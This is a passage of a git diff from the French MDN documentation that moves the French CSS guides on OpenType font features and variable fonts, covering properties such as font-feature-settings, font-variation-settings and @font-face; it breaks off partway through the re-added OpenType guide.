Le modèle de boîte ne s'applique pas complètement aux objets qui s'inscrivent dans un contexte de formatage en ligne. Pour une ligne écrite avec un mode d'écriture horizontal, les remplissages (padding), bordures et marges seront appliqués à l'élément et écarteront le texte environnant à droite et ou à gauche. Le remplissage et bordures verticaux seront appliqués mais peuvent chevaucher le contenu au dessus et en dessous. Pour un contexte de formatage en ligne, les boîtes de ligne ne seront pas décalées par les bordures ou par le remplissage.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}

+ +

Les autres contexte de formatage

+ +

Ce guide porte sur la disposition de flux et n'aborde pas tous les contextes de formatage possibles en dehors de ce type de disposition. Il est important de comprendre que n'importe quel contexte de formatage modifiera la façon dont ses éléments et son contenu sont organisés. Le comportement des autres contextes de formatage est décrit dans les modules de spécification respectifs et sur MDN.

+ +

Résumé

+ +

Dans ce guide, nous avons approfondi les notions relatives aux contextes de formatage en ligne et de bloc. Dans le prochain guide, nous verrons les interactions entre le flux normal et les différents modes d'écriture.

+ +

Voir aussi

+ + + +
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git "a/files/fr/web/css/css_fonts/guide_caract\303\251ristiques_police_opentype/index.html" "b/files/fr/web/css/css_fonts/guide_caract\303\251ristiques_police_opentype/index.html" deleted file mode 100644 index 6980ff4d78..0000000000 --- "a/files/fr/web/css/css_fonts/guide_caract\303\251ristiques_police_opentype/index.html" +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Guide des caractéristiques de police OpenType -slug: Web/CSS/CSS_Fonts/Guide_caractéristiques_police_OpenType -tags: - - CSS - - Fonts - - Guide - - Polices -translation_of: Web/CSS/CSS_Fonts/OpenType_fonts_guide ---- -
{{CSSRef}}
- -

Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage (kerning en anglais) qui définit l'espacement entre certaines lettres, les fractions et styles numériques, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec  CSS.

- -

Pour certaines polices, une ou plusieurs caractéristiques sont activées par défaut (le crénage et les ligatures classiques sont souvent activées par exemple). D'autres caractéristiques sont inactives et peuvent être activées par choix dans certaines situations.

- -

En plus des caractéristiques communément utilisées telles que les ligatures ou les chiffres elzéviriens, il existe d'autres caractéristiques spécifiques telles que les ensembles stylistiques, les ensembles alternatifs voire des ensembles avec des altérations spécifiques pour une langue donnée. Pour ce dernier cas, ces altérations sont nécessaires à l'expression correcte du langage et il s'agit donc d'une caractéristique qui dépasse largement l'aspect purement stylistique d'autres caractéristiques.

- -
-

Attention ! Il existe de nombreuses propriétés CSS qui permettent de manipuler les caractéristiques de police. Cependant, la plupart ne sont pas encore complètement implémentées ni prises en charge de façon homogène. Nous les verrons dans cet article mais il faudra la plupart du temps utiliser {{cssxref("font-feature-settings")}} pour les définir à un plus bas niveau. Il est possible d'écrire du CSS qui gère ces deux cas mais c'est plus laborieux. Mais lorsqu'on utilise font-feature-settings pour chaque caractéristique, il est nécessaire de réécrire la chaîne entière même si on ne souhaite changer qu'une caractéristique.

-
- -

Découvrir la disponibilité des caractéristiques pour certaines polices

- -

Il est parfois délicat de savoir quelles caractéristiques sont disponibles pour une police donnée si celle-ci n'est pas accompagnée d'une documentation (la plupart des fonderies proposeront une page d'exemple et du CSS). Certains sites permettent de contourner ce problème : vous pouvez visiter wakamaifondue.com, y uploader le fichier de la police et recevoir un rapport complet peu de temps après ; le site Axis-praxis.org fournit des fonctionnalités analogues et permet de cliquer pour activer/désactiver une ou plusieurs caractéristiques sur un bloc de texte donné.

- -

Pourquoi utiliser les caractéristiques d'une police ?

- -

Étant donné que ces caractéristiques peuvent être difficilement accessibles, on peut légitiement se demander pourquoi il faudrait les utiliser. Pour répondre à cette question, il faut voir comment ces caractéristiques peuvent aider à rendre un site plus lisible, accessible, élégant :

- -
    -
  • Les ligatures telles que œ ou celles qui existent entre 'ff' répartissent plus également l'espace entre les lettres et permettent un lecture plus douce.
    • -
  • Les fractions permettent d'améliorer la compréhension et la lecture de certains textes (des recettes par exemple).
    • -
  • L'écriture des nombres au sein de paragraphes qui suivent la ligne de base du texte ou au contraire dont les jambages passent sous la ligne de base.
    • -
- -

Bien qu'aucune de ces caractéristiques ne soit critique pour l'utilisabilité d'un site, chacune d'elle peut rendre un site plus lisible voire raffiné

- -
-

Les caractéristiques OpenType ressemblent à des compartiments secrets : en les déverouillant, une police peut évoluer de façon subtile ou complète. Toutes les caractéristiques OpenType ne doivent pas être utilisées tout le temps mais certaines d'entre elles sont majeures pour obtenir une typographie de premier rang. Tim Brown, Directeur de la typographie chez Adobe.

-
- -

Au-delà du style : le contenu même

- -

Il existe certains cas (notamment avec {{cssxref("font-variant-east-asian")}}) où les caractéristiques OpenType sont directement liées à l'utilisation de formes différentes pour certains glyphes. Ces caractéristiques auront un impact sur la lisibilité mais aussi et surtout sur la signification du texte. Dans ces cas, les caractéristiques de police ne sont pas un outil de style mais font partie intégrante du contenu.

- -

Les caractéristiques

- -

Il existe une variété de caractéristiques. Nous les avons ici regroupées selon leurs attributs principaux et les options développées dans les spécifications du W3C.

- -
-

Note : Les exemples qui suivent illustrent certaines propriétés et des combinaisons d'exemple et sont accompagnés des équivalents utilisant la syntaxe de plus bas niveau. Il est possible que ces deux versions d'exemple ne correspondent pas exactement selon l'implémentation des navigateurs. Les polices utilisées ici sont Playfair Display, Source Serif Pro, IBM Plex Serif, Dancing Script et Kokoro (qui sont libres d'utilisation et disponibles via différents services tels que Google Fonts).

-
- -

Le crénage (kerning) ({{cssxref("font-kerning")}})

- -

Le crénage correspond à l'espace entre les caractères pour certaines combinaisons de caractères. Cette caractéristique, comme recommandé par la spécification OpenType, est généralement activée par défaut. On notera également que la propriété {{cssxref("letter-spacing")}} permet d'imposer un crénage supplémentaire au texte.

- -
{{EmbedGHLiveSample("css-examples/font-features/font-kerning.html", '100%', 520)}}
- -

Les formes alternatives ({{cssxref("font-variant-alternates")}})

- -

Les polices peuvent fournir différentes formes pour différents glyphes. Cette propriété permet d'activer un ensemble de formes alternatives ou une forme alternative spécifique selon la valeur utilisée. Dans l'exemple qui suit, on voit différentes formes d'utilisation des caractères alternatifs. Les polices qui possèdent des glyphes alternatifs peuvent les rendre disponibles sur la grille de caractères ou dans des ensembles stylistiques séparés voire pour des caractères individuels. Dans cet exemple, on utilise deux polices et la règle-@ {{cssxref("@font-feature-values")}}. Cette méthode permet de définir des raccourcis ou des options nommées qui peuvent ensuite être utilisée sur un ensemble de polices. Ainsi, on peut avoir une option appliquée à une police ou appliquée plus généralement.

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-alternates.html", '100%', 800)}}
- -
 
- -
Dans ce cas, @stylistic(alternates) affichera tous les caractères alternatifs pour chacune des polices. En appliquant uniquement ces règles au mot 'My', seul l'affichage de la lettre 'M' est modifié. Si on applique  @styleset(alt-a), seule l'apparence de la lettre a minuscule changera.
- -

Vous pouvez modifier :

- -
font-variant-alternates: styleset(alt-a);
- -

en :

- -
font-variant-alternates: styleset(alt-g);
-
- -

et voir comment la lettre a retrouve sa forme normale et comment la lettre g est modifiée.

- -

En savoir plus sur les formes alternatives

- - - -

Les ligatures ({{cssxref("font-variant-ligatures")}})

- -

Les ligatures sont des glyphes qui remplacent deux ou plusieurs glyphes afin de les représenter de façon plus harmonieuse (pour l'espacement et l'esthétique notamment). Certaines de ces ligatures sont fréquemment utilisées (œ) et d'autres sont plus spécialisées et moins usitées (on parle de « ligatures discrétionaires », de « ligatures historiques » ou encore d' « alternatifs contextuels »).

- -

Bien qu'elles soient plus fréquemment utilisées avec les polices d'écriture, dans l'exemple qui suit, on les utilise afin de créer des flèches :

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-ligatures.html", '100%', 540)}}
- -

Les positions ({{cssxref("font-variant-position")}})

- -

Les variantes de positions permettent d'activer le support typographique des glyphes pour les exposants et les indices. Celles-ci sont utilisées dans le texte sans modifier la ligne de base ou l'interlignage (c'est un des avantages par rapport à l'utilisation des éléments HTML {{htmlelement("sub")}} et {{cssxref("sup")}}).

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-position.html", '100%', 550)}}
- -

Les capitales ({{cssxref("font-variant-caps")}})

- -

Une utilisation fréquente des caractéristiques OpenType est l'activation de « vraies » petites capitales qui sont généralement utilisées pour les acronymes et les abréviations.

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-caps.html", '100%', 620)}}
- -

Les chiffres ({{cssxref("font-variant-numeric")}})

- -

Il existe généralement différents types de chiffre dans les polices :

- -
    -
  • Les chiffres classiques (ou chiffres Didot) qui sont alignées sur la ligne de base du texte et qui ont la même hauteur que les majuscules
    • -
  • Les chiffres elzéviriens qui ont des jambages et des hampes à la façon des autres lettres minuscules. Ces chiffres sont conçus pour être utilisés en incise et se « fondre » au sein des glyphes alentours, à la manières des petites capitales.
    • -
- -

On y retrouve également la notion d'espacement. L'espacement proportionnel est le réglage par défaut et l'espacement tabulaire permet d'avoir un espace identique entre chaque chiffre, quelle que soit la largeur du caractère. Ce dernier mode est notamment utile pour l'affichage de nombre dans des tableaux (où on peut souhaiter comparer des montants d'une ligne à l'autre).

- -

Deux types de fractions peuvent être prises en charge avec cette propriété :

- -
    -
  • Les fractions avec barre diagonale.
    • -
  • Les fractions empilées verticalement.
    • -
- -

Les nombres ordinaux peuvent également être pris en charge (« 1er », « 2e ») s'ils sont présents dans la police. De même on peut utiliser un zéro barré si celui-ci est disponible.

- -

Chiffres classiques et chiffres elzéviriens

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric.html", '100%', 560)}}
- -

Fractions, nombres ordinaux et zéro barré

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric-frac.html", '100%', 600)}}
- -

Caractères d'Asie orientale ({{cssxref("font-variant-east-asian")}})

- -

Cette caractéristique permet d'accéder à différentes formes alternatives de glyphes dans une police. L'exemple qui suit illustre une chaîne de glyphes où seul l'ensemble OpenType 'jis78' est activé. Vous pouvez décocher la case et voir alors d'autres caractères s'afficher.

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant-east-asian.html", '100%', 750)}}
- -
-

Note : Ces glyphes ont été copiés à partir d'un exemple et le texte qu'ils constituent n'ont aucun sens particulier.

-
- -

Propriété raccourcie ({{Cssxref("font-variant")}})

- -

La propriété raccourcie font-variant permet de définir l'ensemble des caractéristiques précédentes. Lorsqu'on utilise la valeur normal, toutes les caractéristiques sont réinitialisées et retrouvent leurs valeurs par défaut. En utilisant none,  font-variant-ligatures vaudra none et toutes les autres propriétés récupèreront leurs valeurs initiales (cela signifie entre autres que si le crénage est activé par défaut, il sera toujours activé, même lorsque none est fourni).

- -
{{EmbedGHLiveSample("css-examples/font-features/font-variant.html", '100%', 600)}}
- -

Utiliser font-feature-settings

- -

La propriété {{cssxref("font-feature-settings")}} permet d'utiliser une syntaxe « bas niveau » qui permet un accès explicite à chaque caractéristique OpenType disponible. On dispose ainsi d'un contrôle accru mais on perd l'héritage et il faut tout redéclarer à chaque fois qu'on souhaite modifier une caractéristique (sauf à utiliser des propriétés CSS personnalisées afin de définir les valeurs). Aussi, mieux vaut utiliser les propriétés standards lorsque c'est possible.

- -

Il existe une myriade de caractéristiques possibles. Vous pouvez en voir quelques exemples ici et il existe plusieurs ressources pour en exploiter d'autres.

- -

La syntaxe générale suivra cette structure :

- -
.small-caps {
-  font-feature-settings: "smcp", "c2sc";
-}
-
- -

Selon la spécification, on peut fournir le code à quatre caractères de la caractéristique ou fournir le code suivi d'un 1 pour activer la fonctionnalité ou suivi d'un 0 pour la désactiver. Ainsi, si on dispose de caractéristiques liées à la ligatures et qui sont activées par défaut, on peut les désactiver de la façon suivante :

- -
.no-ligatures {
-  font-feature-settings: "liga" 0, "dlig" 0;
-}
- -

En savoir plus sur les codes des caractéristiques font-feature-settings

- - - -

Utiliser la détection de fonctionnalités CSS

- -

Étant donné que toutes les propriétés ne sont pas implémentées de façon homogène, il est préférable d'utiliser la règle @ {{cssxref("@supports")}} pour vérifier quelles propriétés peuvent être utilisées correctement et s'en remettre à {{cssxref("font-feature-settings")}} si nécessaire.

- -

Ainsi, les petites capitales peuvent être activées de différentes façons mais si on veut s'assurer que la mise en forme fonctionne quelle que soit la capitalisation, il faudra 2 paramètres avec font-feature-settings et une seule valeur pour {{cssxref("font-variant-caps")}}.

- -
.small-caps {
-   font-feature-settings: "smcp", "c2sc";
-}
-
-@supports (font-variant-caps: all-small-caps) {
-   .small-caps {
-       font-feature-settings: normal;
-       font-variant-caps: all-small-caps;
-   }
-}
-
- -

Voir aussi

- -

Démonstrations de caractéristiques OpenType en CSS

- - - -

Outils web d'analyse de polices

- - - -

Spécifications W3C

- - - -

Autres ressources

- - diff --git a/files/fr/web/css/css_fonts/guide_polices_variables/index.html b/files/fr/web/css/css_fonts/guide_polices_variables/index.html deleted file mode 100644 index 043902094e..0000000000 --- a/files/fr/web/css/css_fonts/guide_polices_variables/index.html +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: Guide des polices variables -slug: Web/CSS/CSS_Fonts/Guide_polices_variables -tags: - - CSS - - Fonts - - Guide - - Polices -translation_of: Web/CSS/CSS_Fonts/Variable_Fonts_Guide ---- -
{{CSSRef}}
- -

Les polices variables sont une évolution de la spécification OpenType et qui permet d'activer différentes variations d'une police dans un seul fichier plutôt que d'avoir différents fichiers pour chaque taille, graisse ou style. En CSS, on peut accéder à l'ensemble des variations en utilisant une seule référence {{cssxref("@font-face")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour commencer à utiliser les polices variables.

- -
-

Attention !  Afin d'utiliser les polices variables, il faut s'assurer que son système d'exploitation est à jour. Pour les systèmes basés sur GNU/Linux, il faut la version la plus récente de Linux Freetype. Pour macOS, les versions antérieures à 10.13 ne prennent pas en charge les polices variables. Si votre système d'exploitation n'est pas à jour ou ne prend pas en charge les polices variables, vous ne pourrez pas en bénéficier sur le Web ou dans les outils de développement Firefox par exemple.

-
- -

Qu'est-ce qu'une police variable ?

- -

Pour mieux comprendre le fonctionnement des polices variables, revenons sur les polices « statiques » et comparons les deux systèmes.

- -

Les polices standard ou polices statiques

- -

Auparavant, une police de caractères était représentées par différents fichiers pour les différentes fontes. Aussi, on avait par exemple différents fichiers pour 'Roboto Regular', 'Roboto Bold' et 'Roboto Bold Italic' et on pouvait avoir 20 à 30 fichiers distincts pour représenter l'intégralité d'une police.

- -

Avec un tel scénario et pour utiliser une police de façon classique sur un site, il fallait au moins quatre fichier pour les différents styles : normal, italique, gras et gras-italique. Si on souhaitait ajouter un autre niveau de graisse (par exemple une fonte plus légère pour les légendes), il fallait rajouter un fichier. Sur le réseau, cela se traduisait par d'autres requêtes HTTP et plus de données téléchargées (environ 20Ko pour chaque fichier).

- -

Les polices variables

- -

Avec une police variable, toutes ces combinaisons de style et de graisse sont contenues dans un seul fichier. On a donc un fichier plus gros qu'un fichier de police classique mais dont la taille est inférieure ou proche de celle des 4 fichiers qu'on chargerait pour la police principale d'un site. L'avantage d'une police variable est qu'on peut accéder à l'intégralité des corps, graisses et italiques sans être plus contraint par ceux du ou des fichiers chargés séparément.

- -

Cela permet d'utiliser des techniques typographiques classiques pour avoir des niveaux de titre avec différents corps, d'utiliser une fonte plus étroite lorsqu'il y a plus de données à afficher, etc. Dans un magazine, par exemple, il n'est pas rare d'avoir un système typographique qui utilise 10 à 15 fontes qui sont autant de combinaisons de corps et de graisse.

- -

Quelques notes à propos des familles de polices, des corps et des variantes

- -

On a mentionné avant qu'on avait différents fichiers pour chaque graisse et italique et qu'on ne demandait pas au navigateur de synthétiser ces aspects. En effet, la plupart des polices ont des dessins spécifiques pour chaque graisse et chaque niveau d'italique (le a et le g minuscule sont souvent assez différents en italique par exemple). Afin de respecter ces spécificités et d'éviter les différences entre les implémentations des navigateurs, on préfèrera charger les fichiers correspondant à chaque graisse / italique lorsqu'on n'utilise pas de police variable.

- -

Vous pourrez aussi remarquer que certaines polices viennent avec deux fichiers : un contenant les caractères sans italique et leurs variations et un autre contenant les variations italiques. Cette méthode est parfois choisie afin de réduire la taille du fichier lorsqu'on n'a pas besoin des italiques. Dans tous les cas, il est toujours possible de les lier avec un nom {{cssxref("font-family")}} et d'appeler chaque style avec la valeur pertinente pour {{cssxref("font-style")}}.

- -

L'axe de variation

- -

Le concept clé des polices variables est celui d'axe de variation qui décrit l'intervalle autorisé pour faire varier un aspect donné d'une police. Ainsi, l'axe de la graisse décrit l'étendue entre les caractères les plus fins et les plus gras qui puissent être ; l'axe de la largeur parcourt l'étroitesse ou la largeur de la police ; l'axe italique décrit si des formes italiques sont présentes, etc. Un axe peut être un intervalle ou un choix binaire. Ainsi, la graisse pourra varier entre 1 et 999 tandis que l'italique pourrait être uniquement activable ou désactivable (1 ou 0 respectivement).

- -

Comme indiqué dans la spécification, deux types d'axe existent : les axes enregistrés et les axes spécifiques (custom axes) :

- -
    -
  • -

    Les axes enregistrés sont ceux que l'on rencontre le plus souvent et qui ont donc été standardisés dans la spécification. À l'heure actuelle, il existe 5 axes enregistrés : le corps, la largeur, la pente, l'italique et la taille optique. Chacun de ces axes possède un attribut CSS correspondant.

    -
    • -
  • -

    Les axes spécifiques peuvent être n'importe quel axe défini par le concepteur de la police. Chaque axe doit simplement être défini par une étiquette avec quatre lettres qui permettront de l'identifier. Ces étiquettes pourront être utilisées dans le code CSS pour indiquer quel niveau de variation utiliser (cf. exemples ci-après).

    -
    • -
- -

Les axes enregistrés et les attributs CSS existants

- -

Dans cette section, nous verrons en détails les cinq axes enregistrés ainsi que des exemples CSS associés. Dans les cas où c'est possible, nous inclurons la syntaxe standard et la syntaxe de plus bas niveau qui utilise ({{cssxref("font-variation-settings")}}).

- -

Cette propriété fut le premier mécanisme implémenté pour tester les premières implémentations des polices variables et elle reste nécessaire pour utiliser de nouveaux axes ou des axes spécifiques au-delà des cinq axes enregistrés. Toutefois, lorsque c'est possible, cette syntaxe ne doit pas être utilisée si une propriété de plus haut niveau est disponible. Autrement dit, font-variation-settings doit uniquement être utilisée afin de définir des valeurs pour des axes qui ne seraient pas accessibles autrement.

- -

Notes

- -
    -
  1. -

    Les noms d'axes utilisés avec font-variation-settings sont sensibles à la casse. Les noms des axes enregistrés doivent être écrits en minuscules et les noms des axes spécifiques doivent être écrits en majuscules. Ainsi, dans ce cas :

    - - 
    font-variation-settings: 'wght' 375, 'GRAD' 88;
    - -

    wght correspondra à l'axe enregistré du même nom et GRAD à un axe spécifique.

    -
    2. -
  2. -

    Si on a défini des valeurs avec font-variation-settings et qu'on souhaite changer une de ces valeurs, il sera nécessaire de redéclarer l'ensemble des valeurs (de la même façon qu'on doit redéclarer l'ensemble des caractéristiques OpenType avec {{cssxref("font-feature-settings")}}). Il est possible de contourner cet écueil en utilisant des propriétés CSS personnalisées pour les valeurs individuelles et en modifiant uniquement la valeur d'une des propriétés personnalisée (cf. l'exemple en fin d'article).

    -
    3. -
- -

La graisse (weight)

- -

La graisse (représenté par l'étiquette wght) définit l'épaisseur des traits formants les caractères. En CSS, le descripteur {{cssxref("font-weight")}} a depuis longtemps permis d'utiliser différentes graisses avec des valeurs numériques comprises entre 100 et 900 (avec des incréments de 100) ou des mots-clés tels que normal ou bold qui étaient des alias pour une valeur numérique correspondante (400 et 700 ici). Ces valeurs sont toujours utilisables pour les polices statiques mais il est désormais possible d'utiliser n'importe quel entier entre 1 et 1000 dans le cas de polices variables.

- -

On notera qu'il n'est pas possible d'utiliser la déclaration @font-face afin qu'un point donné sur cet axe corresponde au mot-clé bold (ou tout autre mot-clé). Cela pourra généralement être résolu simplement mais nécessitera d'écrire plus de CSS :

- -
font-weight: 375;
-
-font-variation-settings: 'wght' 375;
- -

Vous pouvez éditer l'exemple CSS suivant pour voir l'effet sur la graisse de la police.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/weight.html", '100%', 520)}}
- -

La largeur (width)

- -

La largeur (indiquée par l'étiquette wdth) correspond à l'axe selon lequel les caractères sont plus ou moins étroits ou larges. En CSS, c'est le descripteur {{cssxref("font-stretch")}} qui peut être utilisé avec un pourcentage inférieur ou supérieur à 100% (la largeur « normale ») ou avec n'importe quel nombre positif. Si une valeur numérique est fournie et se situe en dehors de l'intervalle couvert par la police variable, le navigateur devra choisir la valeur la plus proche possible.

- -
-

Note : Lorsqu'on utilise la notation « bas niveau » avec font-variation-settings, on n'écrit pas le caractère %.

-
- -
font-stretch: 115%;
-
-font-variation-settings: 'wdth' 115;
-
- -

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/width.html", '100%', 520)}}
- -

L'italique

- -

L'axe italique (ital) fonctionne différemment car il ne s'agit pas d'un intervalle mais d'une option activée ou désactivée : il n'y a pas de valeurs intermédiaires. Les caractères en italique sont la plupart du temps très différents de leur équivalent sans italique et passer d'un mode à l'autre entraîne généralement l'utilisation de glyphes différents. Attention à ne pas confondre l'italique et l'oblique (cf. l'axe de pente ci-après) : une police aura une forme italique ou une variabilité sur l'axe de pente mais rarement les deux.

- -

En CSS, l'italique est appliqué grâce à la propriété {{cssxref("font-style")}} (qui permet aussi d'appliquer l'oblique). On notera l'apparition de la propriété font-synthesis: none; qui empêche les navigateurs de synthétiser l'italique en penchant les caractères (on pourra aussi utiliser cette valeur de façon équivalente pour éviter de synthétiser la graisse).

- -
font-style: italic;
-
-font-variation-settings: 'ital' 1;
-
-font-synthesis: none;
- -

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/italic.html", '100%', 520)}}
- -

La pente (slant)

- -

La pente (indiquée par l'étiquette slnt), également appelée « oblique », diffère de l'italique car elle applique une pente sur les caractères mais ne change aucun des glyphes. Cet axe est un intervalle numérique allant généralement de 0 (droit) à 20 degrés. Toutefois, les valeurs allant de -90 et à 90 (degrés) sont autorisées. C'est également le descripteur font-style qui peut être utilisé pour cet axe.

- -
-

Note : Le mot-clé deg ne doit pas être utilisé comme unité pour la notation avec font-variation-settings.

-
- -
font-style: oblique 14deg;
-
-font-variation-settings: 'slnt' 14;
- -

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/slant.html", '100%', 520)}}
- -

La taille optique

- - - - - -

La taille optique, indiquée par l'étiquette opsz, correspond à la variation de l'épaisseur des traits formants le caractère afin de s'assurer que celui-ci puisse être lu avec un petit corps et ainsi de garantir une bonne impression ou un bon affichage à l'écran.

- -

Ainsi, pour les petits corps, on pourra avoir des traits plus épais et pour des grands corps, on pourra avoir une variation d'épaisseur plus importante entre les différents traits du caractères pour développer correctement le dessin de la police.

- -

La plupart du temps, les valeurs liées à la taille optique sont appliquées automatiquement avec les valeurs correspondantes de font-size mais on peut tout à fait les manipuler avec la syntaxe de bas niveau font-variation-settings.

- -

Une nouvelle propriété CSS a été créée afin de prendre en charge cet axe avec une syntaxe haut niveau pour les polices variables : {{cssxref("font-optical-sizing")}}. Le descripteur font-optical-sizing permet uniquement d'utiliser les valeurs auto ou none et ainsi uniquement d'activer ou de désactiver le dimensionnement optique. Toutefois, avec font-variation-settings: 'opsz' <num>, on peut fournir une valeur numérique. Dans la plupart des cas, on utilisera la même valeur pour font-size et pour opsz. Il est ici permis d'utiliser une autre valeur spécifique afin d'améliorer la lisibilité ou d'obtenir un effet esthétique.

- -
font-optical-sizing: auto;
-
-font-variation-settings: 'opsz' 36;
- -

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/optical-sizing.html", '100%', 1020)}}
- -

Les axes spécifiques

- -

Les axes spécifiques sont introduits spécifiquement par les concepteurs de polices et peuvent correspondre à n'importe quelle variation. Il est possible que certains axes spécifiques deviennent fréquemment utilisés voire finissent par être intégrés aux axes enregistrés mais seul l'avenir le dira avec certitude.

- -

Le grade

- -

Le grade est une variation qui consiste à épaissir certains des traits des glyphes sans agrandir la largeur totale du glyphe. En augmentant le grade, on a ainsi un caractère plus « dense ». Il ne faut pas confondre le corps et le grade : le premier augmente la taille générale, largeur incluse, des glyphes tandis que le second ne modifie pas l'espace physique occupé par le caractère. Le grade est un axe spécifique plutôt populaire car il permet de faire varier la densité apparente du texte sans modifier sa largeur et ainsi il évite de générer un décalage du texte.

- -
font-variation-settings: 'GRAD' 88;
- -

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/grade.html", '100%', 520)}}
- -

Utiliser une police variable : les changements pour @font-face

- -

Pour charger une police variable, la syntaxe est proche de celle utilisée pour les polices statiques. Les quelques différences notables sont apportées par des ajouts à la syntaxe {{cssxref("@font-face")}} disponible dans la plupart des navigateurs modernes.

- -

La syntaxe de base est la même mais on peut indiquer la technologie utilisée pour la police ainsi que les intervalles autorisés pour les descripteurs font-weight et font-stretch.

- -

Exemple d'une police standard réale droite :

- -
@font-face {
- font-family: 'MyVariableFontName';
- src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
- font-weight: 125 950;
- font-stretch: 75% 125%;
- font-style: normal;
-}
-
- -

Exemple d'une police avec une forme droite et une forme italique :

- -
@font-face {
- font-family: 'MyVariableFontName';
- src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
- font-weight: 125 950;
- font-stretch: 75% 125%;
- font-style: oblique 0deg 20deg;
-}
- -
-

Note : Il n'existe pas de valeur spécifique pour la mesure du degré supérieur. Les valeurs fournies à font-style indiquent simplement qu'un axe est présent afin que le navigateur puisse afficher correctement les caractères droits ou en italique.

-
- -

Exemple d'une police qui ne contient que des italiques et aucun caractère droit :

- -
@font-face {
- font-family: 'MyVariableFontName';
- src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
- font-weight: 125 950;
- font-stretch: 75% 125%;
- font-style: italic;
-}
- -

Exemple d'une police avec un axe de pente :

- -
@font-face {
- font-family: 'MyVariableFontName';
- src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
- font-weight: 125 950;
- font-stretch: 75% 125%;
- font-style: oblique 0deg 12deg;
-}
- -
-

Note : La syntaxe complète n'est pas implémentée par l'ensemble des navigateurs et il faudra donc tester avec précaution. Tous les navigateurs qui prennent en charge les polices variables sauront les afficher même si seul le format de fichier est indiqué (plutôt que le format complet : par exemple woff2 à la place de woff2-variations), mais mieux vaut utiliser la syntaxe la plus précise si possible.

-
- -
-

Note : Fournir des valeurs d'intervalle pour font-weight, font-stretch et font-style empêchera le navigateur d'afficher des polices en dehors de ces intervalles en utilisant les attributs font-weight ou font-stretch. En revanche, cela ne bloquera pas la syntaxe de plus bas niveau avec font-variation-settings !

-
- -

Amélioration progressive et anciens navigateurs

- -

La prise en charge des polices variables peut être vérifié grâce à {{cssxref("@supports")}}. Il est donc possible d'utiliser des polices variables en production et de limiter la portée des polices variables à l'intérieur d'une requête de prise en charge.

- -
h1 {
- font-family: some-non-variable-font-family;
-}
-
-@supports (font-variation-settings: 'wdth' 115) {
- h1 {
-    font-family: some-variable-font-family;
- }
-}
- -

Pages d'exemples

- -

Les pages d'exemples suivantes illustrent deux façons pour structurer le CSS. La première utilise les attributs standards où c'est possible et la seconde utilise les propriétés personnalisées afin de définir les valeur pour la chaîne de caractères fournie à font-variation-settings et montre comment mettre à jour une valeur plutôt que de redéfinir l'intégralité de la chaîne de caractères. On notera aussi l'effet au survol (hover) sur l'élément h2 qui ne joue que sur l'axe de grade.

- -
{{EmbedGHLiveSample("css-examples/variable-fonts/sample-page.html", '100%', 1220)}}
- -

Voir aussi

- - diff --git a/files/fr/web/css/css_fonts/opentype_fonts_guide/index.html b/files/fr/web/css/css_fonts/opentype_fonts_guide/index.html new file mode 100644 index 0000000000..6980ff4d78 --- /dev/null +++ b/files/fr/web/css/css_fonts/opentype_fonts_guide/index.html @@ -0,0 +1,229 @@ +--- +title: Guide des caractéristiques de police OpenType +slug: Web/CSS/CSS_Fonts/Guide_caractéristiques_police_OpenType +tags: + - CSS + - Fonts + - Guide + - Polices +translation_of: Web/CSS/CSS_Fonts/OpenType_fonts_guide +--- +
{{CSSRef}}
+ +

Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage (kerning en anglais) qui définit l'espacement entre certaines lettres, les fractions et styles numériques, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec  CSS.

+ +

Pour certaines polices, une ou plusieurs caractéristiques sont activées par défaut (le crénage et les ligatures classiques sont souvent activées par exemple). D'autres caractéristiques sont inactives et peuvent être activées par choix dans certaines situations.

+ +

En plus des caractéristiques communément utilisées telles que les ligatures ou les chiffres elzéviriens, il existe d'autres caractéristiques spécifiques telles que les ensembles stylistiques, les ensembles alternatifs voire des ensembles avec des altérations spécifiques pour une langue donnée. Pour ce dernier cas, ces altérations sont nécessaires à l'expression correcte du langage et il s'agit donc d'une caractéristique qui dépasse largement l'aspect purement stylistique d'autres caractéristiques.

+ +
+

